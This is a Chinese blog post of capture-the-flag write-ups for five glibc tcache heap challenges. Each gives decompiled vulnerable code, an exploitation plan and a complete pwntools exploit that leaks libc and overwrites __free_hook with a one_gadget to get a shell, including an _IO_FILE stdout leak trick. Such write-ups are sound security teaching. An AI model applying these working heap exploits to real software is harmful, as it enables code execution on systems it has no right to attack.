本文最后更新于:星期二, 四月 9日 2019, 1:40 下午
最近在刷题,这里做几道跟tcache机制相关的题目。
LCTF2018 easy_heap
防护机制:
☁ easy_heap checksec easy_heap
[*] '/home/zs0zrc/pwn/tcache/easy_heap/easy_heap'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
程序很简单,一共有三个功能
1.malloc
2.free
3.put
漏洞在malloc功能里
unsigned __int64 create()
{
__int64 v0; // rbx
__int64 v2; // [rsp+0h] [rbp-20h]
int v3; // [rsp+0h] [rbp-20h]
unsigned int size; // [rsp+4h] [rbp-1Ch]
unsigned __int64 v5; // [rsp+8h] [rbp-18h]
v5 = __readfsqword(0x28u);
LODWORD(v2) = 0;
while ( v2 <= 9 && *(0x10LL * v2 + buf) )
LODWORD(v2) = v2 + 1;
if ( v2 == 10 )
{
puts("full!");
}
else
{
v0 = buf;
*(v0 + 16LL * v2) = malloc(0xF8uLL);
if ( !*(16LL * v2 + buf) )
{
puts("malloc error!");
exits();
}
printf("size \n> ", v2);
size = read_int();
if ( size > 0xF8 )
exits();
*(16LL * v3 + buf + 8) = size;
printf("content \n> ");
read_content(*(16LL * v3 + buf), *(16LL * v3 + buf + 8));
}
return __readfsqword(0x28u) ^ v5;
}
这里在读content时有一个null offbyone漏洞
unsigned __int64 __fastcall read_content(_BYTE *buf, int size)
{
unsigned int v3; // [rsp+14h] [rbp-Ch]
unsigned __int64 v4; // [rsp+18h] [rbp-8h]
v4 = __readfsqword(0x28u);
v3 = 0;
if ( size )
{
while ( 1 )
{
read(0, &buf[v3], 1uLL);
if ( size - 1 < v3 || !buf[v3] || buf[v3] == 10 )
break;
++v3;
}
buf[v3] = 0; // null offbyone
buf[size] = 0;
}
else
{
*buf = 0;
}
return __readfsqword(0x28u) ^ v4;
}
利用思路:
程序存在null offbyone漏洞,libc版本是2.27,存在tcache机制。所以先free7个chunk将tcache填满,之后的chunk就会进入unsorted bin中。然后利用null offbyone在free时触发unlink向前合并,就可以泄露出libc地址。最后利用tcache_dup,分配包含_free_hook的chunk,向__free_hook中写入one_gadget来getshell。
exp:
from pwn import*
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
target = './easy_heap'
p = process(target)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def new(size,data):
p.recv()
p.sendline("1")
p.recvuntil("> ")
p.sendline(str(size))
p.recvuntil("> ")
p.sendline(data)
def free(idx):
p.recv()
p.sendline("2")
p.recvuntil("> ")
p.sendline(str(idx))
def put(idx):
p.recv()
p.sendline("3")
p.recvuntil("> ")
p.sendline(str(idx))
for i in range(10):
new(0x20,"\n")
free(1) # 6
free(3) # 5
for i in range(5,10):
free(i)
free(0)
free(2)
free(4)
for i in range(7):
new(0x20,"\n")
new(0x20,"\n") #chunk_7
new(0xf8,"\n") #chunk_8 null offbyone chunk_5
for i in range(5):
free(i)
free(6) #fill tcache
free(5) #unlink , put into unsorted bin
put(8)
leak = u64(p.recv(8)[0:6].ljust(8,'\x00'))
libc_base = leak - libc.symbols['__malloc_hook'] - 0x10 - 88
libc.address= libc_base
free_hook = libc.symbols['__free_hook']
one_gadget = 0xfccde + libc_base
log.info("libc_base {}".format(hex(libc_base)))
for i in range(7):
new(0x20,"\n")
new(0x20,"\n") #chunk_9 和 chunk_8 指向同一个地址
free(0) #确保后面可以分配三个chunk
free(8)
free(9) #double free
new(0x20,p64(free_hook))
new(0x20,"\n")
new(0x20,p64(one_gadget))
free(1)
p.interactive()
hitcon2018 children_tcache
防护机制:
☁ public checksec children_tcache
[*] '/home/zs0zrc/pwn/tcache/children_tcache/public/children_tcache'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
程序漏洞点在new heap功能里
unsigned __int64 create()
{
signed int i; // [rsp+Ch] [rbp-2034h]
char *dest; // [rsp+10h] [rbp-2030h]
unsigned __int64 size; // [rsp+18h] [rbp-2028h]
char s; // [rsp+20h] [rbp-2020h]
unsigned __int64 v5; // [rsp+2038h] [rbp-8h]
v5 = __readfsqword(0x28u);
memset(&s, 0, 0x2010uLL);
for ( i = 0; ; ++i )
{
if ( i > 9 )
{
puts(":(");
return __readfsqword(0x28u) ^ v5;
}
if ( !chunk_add[i] )
break;
}
printf("Size:");
size = read_int();
if ( size > 0x2000 )
exit(-2);
dest = malloc(size);
if ( !dest )
exit(-1);
printf("Data:");
read_data(&s, size);
strcpy(dest, &s); // null offbyone
chunk_add[i] = dest;
chunk_size[i] = size;
return __readfsqword(0x28u) ^ v5;
}
这里存在一个null offbyOne 漏洞。原因是strcpy复制字符串时会将null字节一起复制。这里malloc可以分配大小在0x2000以下的chunk,最多分配十个。这一题比较简单。
利用思路:
因为可以控制分配的chunk的大小,所以可以分配大小超过0x400的chunk,这超出了tcache的范围,所以不会被放入tcache中。构造好堆的布局,两个大小大于0x400的chunk中间要夹着一个在tcache范围的chunk。假设这三个chunk分别为chunk1、2、3。先free掉chunk1,然后通过chunk2利用null offbyOne 将chunk3的prev_size和prev_inuse清空。然后将chunk3的prev_size字段设为 chunk1+chunk2的size的和,free掉chunk3。就会触发unlink向前合并,合并后的chunk会加入unsorted bin中,这时分配一个大小为chunk1的chunk,则会从合并的chunk中分割出来,并且向chunk2中写如unsorted bin的地址,通过chunk2就可以泄露出libc地址。最后利用tcache_dup 往__free_hook里写入one_gadget来getshell。具体的看代码。
exp:
from pwn import*
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
p = process('./children_tcache')
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def new(size,content):
p.recv()
p.sendline("1")
p.recvuntil(":")
p.sendline(str(size))
p.recvuntil(":")
p.sendline(content)
def free(idx):
p.recv()
p.sendline("3")
p.recvuntil(":")
p.sendline(str(idx))
def put(idx):
p.recv()
p.sendline("2")
p.recvuntil(":")
p.sendline(str(idx))
new(0x410,"a")
new(0x28,"a"*0x28)
new(0x5f0,"a")
new(0x20,"a") #gap top chunk
free(0)
free(1)
#clear chunk_2 prev_size and prev_inuse
for i in range(9):
new(0x28-i,"a"*(0x28-i))
free(0)
new(0x28,"a"*0x20 + p64(0x420+0x30)) #0
free(2) #trigger unlink
new(0x410,"a") #1 malloc(0x410) then unsorted add will write in 0
put(0)
leak = u64(p.recv(8)[:6].ljust(8,'\x00'))
libc_base = leak - libc.symbols['__malloc_hook'] - 0x10 - 88
libc.address = libc_base
free_hook = libc.symbols['__free_hook']
one_gadget = 0xfccde + libc_base
log.info("libc_base {}".format(hex(libc_base)))
new(0x28,"\n") #2
free(0)
free(2)
new(0x28,p64(free_hook))
new(0x28,"\n")
new(0x28,p64(one_gadget))
free(1)
p.interactive()
hitbxctf2018 gundam
防护机制:
☁ gumdam checksec gundam
[*] '/home/zs0zrc/pwn/tcache/gumdam/gundam'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
这一道题比前面两道都要简单一点,程序主要功能有4个
1.build_gundam
2.visit
3.destory
4.blow up the factory
漏洞出现在destory功能中,它将chunk释放后没有将相应的指针清空,导致了UAF。
__int64 destory()
{
unsigned int v1; // [rsp+4h] [rbp-Ch]
unsigned __int64 v2; // [rsp+8h] [rbp-8h]
v2 = __readfsqword(0x28u);
if ( count )
{
printf("Which gundam do you want to Destory:");
__isoc99_scanf("%d", &v1);
if ( v1 > 8 || !array[v1] )
{
puts("Invalid choice");
return 0LL;
}
*array[v1] = 0; // UAF
free(*(array[v1] + 8LL));
}
else
{
puts("No gundam");
}
return 0LL;
}
利用思路:
先利用visit功能泄露出libc地址。泄露地址前要先将tcache填满,不然chunk不会进入unsorted bin中。泄露出libc地址后可以用tcache_dup,往_free_hook中写入one_gadget。具体的细节看exp。
exp:
from pwn import*
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
target = './gundam'
p = process(target)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def build(name,type):
p.recv()
p.sendline("1")
p.recv()
p.send(name)
p.recv()
p.sendline(str(type))
def visit():
p.recvuntil("Your choice : ")
p.sendline("2")
def destory(idx):
p.recv()
p.sendline("3")
p.recv()
p.sendline(str(idx))
def blow_up():
p.recvuntil("Your choice : ")
p.sendline("4")
for i in range(9):
build("aaaa",1)
for i in range(2,9):
destory(i)
destory(0) #unsorted
destory(1)
blow_up()
for i in range(7):
build("aaaa",1)
build("bbbbbbbb",1) #7
build("aaaaaaaa",1) #8
visit()
p.recvuntil("bbbbbbbb")
leak = u64(p.recv(8)[:6].ljust(8,'\x00'))
log.info("leak ==>{}".format(hex(leak)))
libc_base = leak - 0x3dac78
libc.address = libc_base
free_hook = libc.symbols['__free_hook']
one_gadget = 0xfccde + libc_base
log.info("libc_base ==> {}".format(hex(libc_base)))
destory(6) #为了后面tcache_dup可以分配三个chunk,所以要释放掉两个chunk
destory(5)
destory(7)
destory(7) #double free
blow_up()
build(p64(free_hook),1) #tcache_dup
build("aaaa",1)
build(p64(one_gadget),1)
destory(0)
p.interactive()
CodegateCTF2019 god-the-reum
防护机制:
☁ god-the-reum checksec god-the-reum
[*] '/home/zs0zrc/pwn/tcache/god-the-reum/god-the-reum'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
简单的逆了下,主要看main、create、withdraw还有那个developer的功能
main:
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
int v3; // ST18_4
int v4; // ST18_4
int v6; // ST18_4
char array[88]; // [rsp+20h] [rbp-60h]
unsigned __int64 v8; // [rsp+78h] [rbp-8h]
__int64 savedregs; // [rsp+80h] [rbp+0h]
v8 = __readfsqword(0x28u);
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
while ( 1 )
{
menu();
while ( getchar() != 10 )
;
switch ( &savedregs )
{
case 1u:
create(&array[16 * count]);
break;
case 2u:
v3 = get_idx();
deposit(&array[16 * v3]);
break;
case 3u:
v4 = get_idx();
withdraw(&array[16 * v4]);
break;
case 4u:
show(array, 0LL);
break;
case 5u:
puts("bye da.");
return 0LL;
case 6u:
v6 = get_idx();
sub_1092(&array[16 * v6]);
break;
default:
sub_11B3();
break;
}
}
}
它用一个char数组来存储分配的wallet。每个wallet包含一个随机生成的add 和 一个用来存储eth的chunk。
create函数:
unsigned __int64 __fastcall create(void **a1)
{
char *v1; // rax
unsigned int v2; // eax
char v4; // [rsp+13h] [rbp-1Dh]
char v5; // [rsp+13h] [rbp-1Dh]
signed int i; // [rsp+14h] [rbp-1Ch]
size_t size; // [rsp+18h] [rbp-18h]
void *s; // [rsp+20h] [rbp-10h]
unsigned __int64 v9; // [rsp+28h] [rbp-8h]
v9 = __readfsqword(0x28u);
s = malloc(0x82uLL); //用于存储随机生生成的addr
if ( !s || count > 4 ) //最多分配4个wallet
{
puts("wallet creation failed");
exit(0);
}
memset(s, 0, 0x82uLL);
v1 = s + strlen(s);
*v1 = 30768;
v1[2] = 0;
v2 = time(0LL);
srand(v2);
for ( i = 0; i <= 39; ++i ) //利用rand随机生成addr
{
v4 = rand() % 15;
if ( v4 > 9 )
v5 = rand() % 6 + 97;
else
v5 = v4 + 48;
*(s + i + 2) = v5;
}
*a1 = s;
printf("how much initial eth? : ", 0LL);
__isoc99_scanf("%llu", &size);
a1[1] = malloc(size); //存储eth的chunk大小没有限制
if ( a1[1] )
*a1[1] = size;
++count;
sub_119B();
puts("Creating new wallet succcess !\n");
sub_FD5(*a1, a1[1]);
putchar(10);
return __readfsqword(0x28u) ^ v9;
}
withdraw功能:
unsigned __int64 __fastcall withdraw(__int64 a1)
{
__int64 v2; // [rsp+10h] [rbp-10h]
unsigned __int64 v3; // [rsp+18h] [rbp-8h]
v3 = __readfsqword(0x28u);
printf("how much you wanna withdraw? : ");
__isoc99_scanf("%llu", &v2);
**(a1 + 8) -= v2; //将wallet的eth减少
if ( !**(a1 + 8) ) //如果wallet的eth为0,就将它的chunk释放掉
free(*(a1 + 8)); // 这里存在UAF,因为它没检查chunk是否释放过了
puts("withdraw ok !\n");
return __readfsqword(0x28u) ^ v3;
}
developer功能:
__int64 __fastcall developer(__int64 a1)
{
sub_119B();
puts("this menu is only for developer");
puts("if you are not developer, please get out");
sleep(1u);
printf("new eth : ");
return __isoc99_scanf("%10s", *(a1 + 8)); // 修改wallet的eth,可以通过这个来修改被释放的wallet的fd指针
}
利用思路:
先分配一个大于tcache范围的wallet,利用它来泄露出libc地址。然后利用tcache_dup修改_free_hook 为one_gadget。这里的tcache_dup可以利用developer功能,直接修改tcache_chunk的fd指针。
exp:
from pwn import*
context.log_level = "debug"
context.terminal = ['tmux', 'splitw', '-h']
target = './god-the-reum'
p = process(target)
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
def create(eth):
p.recv()
p.sendline("1")
p.recv()
p.sendline(str(eth))
def deposit(idx,eth):
p.recv()
p.sendline("2")
p.recv()
p.sendline(str(idx))
#p.recv()
p.sendline(str(eth))
def withdraw(idx,eth):
p.recv()
p.sendline("3")
p.recv()
p.sendline(str(idx))
p.recv()
p.sendline(str(eth))
def show():
p.recv()
p.sendline("4")
def cheth(idx,eth):
p.recv()
p.sendline("6")
p.recv()
p.sendline(str(idx))
p.recv()
p.sendline(str(eth))
create(0x500)#0
create(0x80)#1
withdraw(0,0x500)#free 0
show()
p.recvuntil("ballance")
leak = int(p.recv(16),10)
libc_base = leak - libc.symbols['__malloc_hook'] - 0x10 - 88
libc.address = libc_base
free_hook = libc.symbols['__free_hook']
one_gadget = 0xfccde + libc_base
log.info("libc_base ==> {}".format(hex(libc_base)))
log.info("free_hook ==> {}".format(hex(free_hook)))
withdraw(1,0x80)
cheth(1,p64(free_hook)) #change fd
create(0x80)#2 free_hook
p.recv()
p.sendline("6")
p.recv()
p.sendline("2")
p.recv()
p.sendline(p64(one_gadget)) #write free_hook
create(0x80)#3
withdraw(3,0x80)
p.interactive()
hitcon2018 baby_tcache
防护机制:
☁ baby_tcache checksec baby_tcache
[*] '/home/zs0zrc/pwn/tcache/baby_tcache/baby_tcache'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
FORTIFY: Enabled
漏洞点:
int create()
{
_QWORD *v0; // rax
signed int i; // [rsp+Ch] [rbp-14h]
_BYTE *v3; // [rsp+10h] [rbp-10h]
unsigned __int64 size; // [rsp+18h] [rbp-8h]
for ( i = 0; ; ++i )
{
if ( i > 9 )
{
LODWORD(v0) = puts(":(");
return (signed int)v0;
}
if ( !chunk_add[i] )
break;
}
printf("Size:");
size = sub_B27();
if ( size > 0x2000 )
exit(-2);
v3 = malloc(size);
if ( !v3 )
exit(-1);
printf("Data:");
sub_B88((__int64)v3, size);
v3[size] = 0; // nulL offbyOne
chunk_add[i] = v3;
v0 = chunk_size;
chunk_size[i] = size;
return (signed int)v0;
}
这道题的漏洞点和children_tcache一样,具体的做法和children_tcache差不多,都是通过null offbyOne漏洞 构造overlapping chunk。但是这题少了输出功能,所以要想办法泄露libc。这里泄露libc的涉及到了IO_FILE的利用,通过修改 puts函数工作过程中stdout 结构体中的 _IO_write_base ,来达到泄露libc地址信息的目的。
简单的分析下puts函数的函数调用链
puts函数在源码中是由 _IO_puts实现的,而 _IO_puts 函数内部会调用 _IO_sputn,结果会执行 _IO_new_file_xsputn,最终会执行 _IO_overflow
_IO_puts源码:
int
_IO_puts (const char *str)
{
int result = EOF;
_IO_size_t len = strlen (str);
_IO_acquire_lock (_IO_stdout);
if ((_IO_vtable_offset (_IO_stdout) != 0
|| _IO_fwide (_IO_stdout, -1) == -1)
&& _IO_sputn (_IO_stdout, str, len) == len
&& _IO_putc_unlocked ('\n', _IO_stdout) != EOF)
result = MIN (INT_MAX, len + 1);
_IO_release_lock (_IO_stdout);
return result;
}
_IO_new_file_overflow
int
_IO_new_file_overflow (_IO_FILE *f, int ch)
{
if (f->_flags & _IO_NO_WRITES) /* SET ERROR */
{
f->_flags |= _IO_ERR_SEEN;
__set_errno (EBADF);
return EOF;
}
/* If currently reading or no buffer allocated. */
if ((f->_flags & _IO_CURRENTLY_PUTTING) == 0 || f->_IO_write_base == NULL)
......
......
}
if (ch == EOF)
return _IO_do_write (f, f->_IO_write_base,
f->_IO_write_ptr - f->_IO_write_base); //目标
if (f->_IO_write_ptr == f->_IO_buf_end ) /* Buffer is really full */
if (_IO_do_flush (f) == EOF)
return EOF;
*f->_IO_write_ptr++ = ch;
if ((f->_flags & _IO_UNBUFFERED)
|| ((f->_flags & _IO_LINE_BUF) && ch == '\n'))
if (_IO_do_write (f, f->_IO_write_base,
f->_IO_write_ptr - f->_IO_write_base) == EOF)
return EOF;
return (unsigned char) ch;
}
可以发现_IO_do_write是最后调用的函数, 而 _IO_write_base 是我们要修改的目标。这里f-> _flags & _IO_NO_WRITES的值应该是0,同时使 f-> _flags & _IO_CURRENTLY_PUTTING 的值为1,避免执行不必要的代码。
_IO_do_write函数的参数为stdout结构体、 _IO_write_base 和要打印的size。而 _IO_do_write实际会调用 new_do_write,参数一样。
static
_IO_size_t
new_do_write (_IO_FILE *fp, const char *data, _IO_size_t to_do)
{
_IO_size_t count;
if (fp->_flags & _IO_IS_APPENDING)
fp->_offset = _IO_pos_BAD;
else if (fp->_IO_read_end != fp->_IO_write_base)
{
_IO_off64_t new_pos
= _IO_SYSSEEK (fp, fp->_IO_write_base - fp->_IO_read_end, 1);
if (new_pos == _IO_pos_BAD)
return 0;
fp->_offset = new_pos;
}
count = _IO_SYSWRITE (fp, data, to_do); //最终输出
if (fp->_cur_column && count)
fp->_cur_column = _IO_adjust_column (fp->_cur_column - 1, data, count) + 1;
_IO_setg (fp, fp->_IO_buf_base, fp->_IO_buf_base, fp->_IO_buf_base);
fp->_IO_write_base = fp->_IO_write_ptr = fp->_IO_buf_base;
fp->_IO_write_end = (fp->_mode <= 0
&& (fp->_flags & (_IO_LINE_BUF | _IO_UNBUFFERED))
? fp->_IO_buf_base : fp->_IO_buf_end);
return count;
}
其中_IO_SYSWRITE 就是我们的目标,这相当于 write(fp , data, to_do)。 _IO_SYSSEEK只是简单的调用lseek,但是我们不能完全控制fp-> _IO_write_base - fp-> _IO_read_end 的值。如果 fp-> _IO_read_end的值设为0,那么 _IO_SYSSEEK的第二个参数的值就会过大。如果设置fp-> _IO_write_base = fp-> _IO_read_end 的话,那么在其他地方就会有问题,因为fp-> _IO_write_base 不能大于fp-> _IO_write_end 。所以这里要 设置fp- _flags | _IO_IS_APPENDING,避免进入else if分支中。
IO_FILE 的flags标志的一些宏
#define _IO_MAGIC 0xFBAD0000 /* Magic number */
#define _IO_MAGIC_MASK 0xFFFF0000
#define _IO_USER_BUF 0x0001 /* Don't deallocate buffer on close. */
#define _IO_UNBUFFERED 0x0002
#define _IO_NO_READS 0x0004 /* Reading not allowed. */
#define _IO_NO_WRITES 0x0008 /* Writing not allowed. */
#define _IO_EOF_SEEN 0x0010
#define _IO_ERR_SEEN 0x0020
#define _IO_DELETE_DONT_CLOSE 0x0040 /* Don't call close(_fileno) on close. */
#define _IO_LINKED 0x0080 /* In the list of all open files. */
#define _IO_IN_BACKUP 0x0100
#define _IO_LINE_BUF 0x0200
#define _IO_TIED_PUT_GET 0x0400 /* Put and get pointer move in unison. */
#define _IO_CURRENTLY_PUTTING 0x0800
#define _IO_IS_APPENDING 0x1000
#define _IO_IS_FILEBUF 0x2000
/* 0x4000 No longer used, reserved for compat. */
#define _IO_USER_LOCK 0x8000
_flags=_IO_MAGIC+_IO_CURRENTLY_PUTTING+_IO_IS_APPENDING+(_IO_LINKED)
_flags=0xfbad1800 or 0xfbad1880 或者再加一些其他不影响leak的_flags
_flag的构造满足的条件:
_flags = 0xfbad0000
_flags & = ~_IO_NO_WRITES // _flags = 0xfbad0000
_flags | = _IO_CURRENTLY_PUTTING // _flags = 0xfbad0800
_flags | = _IO_IS_APPENDING // _flags = 0xfbad1800
IO_FILE的部分就差不多这么多了,下面要解决怎么劫持stdout的问题。
劫持stdout利用的是null offbyOne构造overlapping chunk,往tcache中的chunk写入 main_arena + 88。然后利用double free,partial overwrite fd指针的后两位,使tcache中chunk的fd指针指向stdout。最后分配到包含stdout的chunk,就可以修改stdout结构体了。这个partial overwrite需要爆破,日常非洲人,爆破到怀疑人生。通过stdout结构体泄露出libc地址后就是常规做法了,利用tcache_dup 往__free_hook 中写入one_gadget来getshell。
exp:
from pwn import*
#context.log_level = "debug"
context.terminal =["tmux","splitw","-h"]
#p = process('./baby_tcache')
def new(content,size):
p.recvuntil("Your choice: ")
p.sendline('1')
p.recvuntil("Size:")
p.sendline(str(size))
p.recvuntil("Data:")
p.send(content)
def delete(idx):
p.recvuntil("Your choice: ")
p.sendline('2')
p.recv()
p.sendline(str(idx))
def exp():
new("aaaa",0x410)#0
new("cccc",0x70)#1
new("dddd",0x5f0)#2
new("eeee",0x30)#3
delete(0)
delete(1)
new("a"*0x70 + p64(0x420+0x80),0x78) #0
delete(2)# trigger
delete(0)
new("aaaa",0x410)#0
new('\x20\xb7',0x88)#1 change tcache->fd to stdout
new('a',0x78)#2
fake_file = p64(0xfbad1800) + p64(0)*3 + "\x00"
new(fake_file,0x78)#4
data = p.recv(0x20)
leak = u64(data[0x18:]) #0x7f0000000000
if leak&0x7f0000000000==0x7f0000000000: #判断是否成功修改stdout,泄露出地址
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
log.info("leak_add ==> {}".format(hex(leak)))
libc_base = leak - libc.symbols['_IO_file_jumps']
libc.address = libc_base
free_hook = libc.symbols['__free_hook']
one_gadget = 0xfccde + libc_base
log.info("libc_base ==> {}".format(hex(libc_base)))
delete(1)
delete(2) #tcache_dup
new(p64(free_hook),0x88)
new('\n',0x88)
new(p64(one_gadget),0x88)
delete(3)
p.interactive()
else:
p.close()
if __name__ == '__main__':
while True:
try:
p = process('./baby_tcache')
exp()
except Exception as e:
p.close()
continue
本博客所有文章除特别声明外,均采用 CC BY-SA 3.0协议 。转载请注明出处!